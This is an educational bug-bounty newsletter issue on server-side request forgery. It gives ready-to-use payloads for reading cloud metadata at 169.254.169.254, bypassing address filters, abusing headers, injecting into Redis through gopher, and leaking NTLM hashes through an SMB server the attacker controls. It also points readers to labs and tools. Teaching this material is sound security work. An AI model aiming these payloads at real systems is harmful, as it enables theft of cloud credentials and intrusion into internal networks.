Inside the Request: From Basic SSRF to Internal Takeover

Table of contents

Hey everyone!
Hope you're doing well!

Last week, I shared some techniques for hacking Flutter apps diving into client-side vulnerabilities and reverse engineering tips.

This week, we’re jumping into SSRF (Server-Side Request Forgery) one of those vulnerabilities that looks basic, but can lead to internal access, cloud credentials theft, and even remote code execution in certain setups.

Let’s break it down 👇

💥 What is SSRF?

Server-Side Request Forgery (SSRF) happens when an application lets you make the server send HTTP requests on your behalf. You control the destination of the request, which allows you to:

• Access internal-only services (127.0.0.1, private IPs)
• Read cloud metadata (AWS, GCP, etc.)
• Reach internal dashboards, databases, or APIs
• Trigger internal network scans or data exfiltration
• Detect external callbacks (Blind SSRF)

Below we’ll look at some of the most common exploitation techniques.

🔍 How to Spot Potential SSRF

Before sending payloads, here’s how to recognize a potential SSRF point:

✅ Is there a URL parameter?
✅ Does the app fetch content based on user input?
✅ Does it provide features like:

• PDF or screenshot generation from external URLs
• Link previews
• HTML to PDF/invoice rendering
• Importing resources from external domains
• Microservices communication via URLs

If yes, there's a good chance SSRF might be in play.

Try basic probes like:

http://127.0.0.1
http://169.254.169.254/
http://your-id.interact.sh

⚔️ Common SSRF Techniques

Basic SSRF

You control a URL parameter that the server fetches:

url=http://127.0.0.1:8080/admin

This may expose internal interfaces not meant for external users.

Cloud Metadata Access ☁️

Cloud environments like AWS and GCP expose sensitive metadata at:

http://169.254.169.254/latest/meta-data/

If reachable, you can steal IAM credentials.

Open Redirect Bypass 🔁

If a whitelist blocks direct access but follows redirects, try:

https://trusted.com/redirect?to=http://127.0.0.1:8000

The app accepts the trusted domain and unknowingly redirects internally.

Blind SSRF 👻

You may not see any response but the request still goes through.
Use tools like:

• interact.sh
• Burp Collaborator

These help detect outbound DNS/HTTP requests triggered by SSRF.

SSRF in PDF Converters

A classic SSRF target. PDF generators often fetch external resources like images or fonts. You can inject:

<img src="http://169.254.169.254/latest/meta-data/" />

If the service embeds the content in the resulting PDF, you’ve got sensitive data in hand.

Also applies to:

• Invoice generation tools
• Email previews
• Screenshot renderers

🚀 Bonus: Advanced SSRF Techniques

If you're already familiar with the basics of SSRF, here are 3 powerful techniques that show up in real-world bug bounty reports and internal pentests. These help bypass common defenses and escalate access beyond basic HTTP abuse.

URL Obfuscation (Bypass Filters with Tricks)

Many applications block obvious inputs like 127.0.0.1 or localhost, but forget to account for alternative encodings or formats.

🧪 Try these:

http://127.1
http://2130706433 (decimal for 127.0.0.1)
http://[::ffff:127.0.0.1] (IPv6-style)
http://[email protected] (spoofed hostname)

These tricks are surprisingly effective for bypassing simple regex-based filters or insecure allowlists.

SSRF via Headers (Referer / User-Agent Abuse)

Not all SSRFs live in URL parameters. Some services (like link previewers or analytics engines) make internal requests based on headers.

📌 Trick:

Referer: http://your-interact-url.com
User-Agent: http://169.254.169.254/latest/meta-data/

If the backend system automatically fetches content from these headers (e.g. for scraping or logging), you can trigger blind SSRF even if no URL parameter is exposed.

SSRF via Gopher, Redis, or SMB

Some SSRFs allow non-HTTP schemes like gopher://, smb://, or redis://. If so, things get really interesting.

• Gopher lets you craft raw TCP payloads (great for Redis injection)
• Redis access allows you to write files or escalate via misconfigurations
• SMB can trigger NTLM authentication leaks from the server

📌 Example – Redis Injection via Gopher:

gopher://127.0.0.1:6379/_%2a1%0d%0aset%20hacked%20true%0d%0a

📌 Example – NTLM Hash Leak via SMB:

smb://your-smb-server.com/share

💡 These are high-impact payloads in internal networks, often leading to:

• Remote file writes
• Credential theft
• Pivoting and lateral movement

🧪 Where to Practice SSRF

Tryhackme SSRF module

To learn the basic theory you can use TryHackme:

• SSRF Module

📘 PortSwigger Web Security Academy

Free, realistic labs from beginner to advanced:

• Server-side request forgery

🧠 Hack The Box – SSRF Machines

Here are some great boxes that feature SSRF:

• Editorial (easy) → Classic SSRF exploitation for port enumeration.
• Gofer (hard) → Using the gopher scheme to get access

🧰 Tools for SSRF Discovery

• ffuf, paramspider, ParamMiner → Great for finding URL-based parameters
• SSRFmap → Automates SSRF payloads and internal probing
• dnslog.cn, interact.sh → For blind SSRF detection
• Burp Suite + Collaborator Everywhere
• Nuclei → Fuzz for SSRF with DAST templates:

cat urls-with-params.txt | nuclei -dast

🧭 Final Thoughts

SSRF is simple in concept but powerful in impact, especially when it gives you access to internal services or cloud credentials.

It shows up often in the wild, and with tools like Nuclei, Burp, and SSRFmap, you can hunt it efficiently.

Keep your eyes open for URL-based parameters, especially in converters, previews, and importers.

Catch you next week,

Ruben

Chapters

Breaking Flutter: A Pentester’s Guide to Dart, Snapshots, and TLS Bypasses

Previous Issue

arrow_upward